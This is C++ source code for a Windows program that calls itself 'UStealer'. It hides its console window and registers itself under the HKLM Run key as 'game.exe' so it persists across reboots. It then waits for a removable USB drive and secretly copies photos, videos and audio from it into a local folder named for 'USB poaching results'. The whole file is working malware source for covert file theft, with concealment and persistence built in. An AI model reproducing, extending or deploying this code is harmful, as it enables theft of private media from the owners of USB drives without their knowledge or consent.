#include <stdio.h>
#include <iostream>
#include <Windows.h>
#include <direct.h>  

using namespace std;

void scan_all(const char* filename) {

    //FILE;           //文件内容
    WIN32_FIND_DATA finddata;//文件属性

    char temppath[300] = { 0 };
    sprintf_s(temppath, "%s\\*.*", filename);
    //FindFirstFile();//查找第一个文件
    //FindNextFile();//查找下一个文件

    HANDLE hfile = FindFirstFile(temppath, &finddata);

    while (1) {
        if (finddata.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY)//文件夹
        {
            //.当前目录 ..上层目录
            if (finddata.cFileName[0] != '.') {
                sprintf_s(temppath, "%s\\%s", filename, finddata.cFileName);
                scan_all(temppath);
            }
        }
        else//文件 
        {
            if (strstr(finddata.cFileName, ".jpg")
                || strstr(finddata.cFileName, ".png")
                || strstr(finddata.cFileName, ".mp4")
                || strstr(finddata.cFileName, ".avi")
                || strstr(finddata.cFileName, ".wmv")
                || strstr(finddata.cFileName, ".wav")
                || strstr(finddata.cFileName, ".rmvb")
                || strstr(finddata.cFileName, ".mkv"))//要拷贝什么样的文件在这加文件后缀
            {
                sprintf_s(temppath, "%s\\%s", filename, finddata.cFileName);

                char newpath[300];
                sprintf_s(newpath, "D:\\U盘偷猎成果\\%s", finddata.cFileName);
                CopyFile(temppath, newpath, false);
            }
        }
        if (FindNextFile(hfile, &finddata) == 0)break;
    }


}

void HKRunator(char* programName)   
{
    HKEY hkey = NULL;
    DWORD rc;

    rc = RegCreateKeyEx(HKEY_LOCAL_MACHINE,                      //创建一个注册表项，如果有则打开该注册表项
        "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
        0,
        NULL,
        REG_OPTION_NON_VOLATILE,
        KEY_WOW64_64KEY | KEY_ALL_ACCESS,    //部分windows系统编译该行会报错， 删掉 “”KEY_WOW64_64KEY | “” 即可
        NULL,
        &hkey,
        NULL);

    if (rc == ERROR_SUCCESS)
    {
        rc = RegSetValueEx(hkey,
            "UStealer",
            0,
            REG_SZ,
            (const BYTE*)programName,
            strlen(programName));
        if (rc == ERROR_SUCCESS)
        {
            RegCloseKey(hkey);
        }
    }
}

int main() {
    ShowWindow(GetForegroundWindow(), 0);
    char path[10] = { 0 }, temp_path[300] = { 0 }, present_path[300] = { 0 };
    _getcwd(temp_path, 300);
    sprintf_s(present_path, "%s\\game.exe", temp_path);
    HKRunator(present_path);
    char c = 'A';
    while (1) {
        unsigned allDisk = GetLogicalDrives();
        for (int i = 1; i < 1024; i *= 2) {
            if (allDisk & i) {
                sprintf_s(path, "%c:", c);
                if (GetDriveType(path) == DRIVE_REMOVABLE) {
                    break;
                }
            }
            c++;
        }
        if (GetDriveType(path) == DRIVE_REMOVABLE) {
            break;
        }
    }

    scan_all(path);
    return 0;
}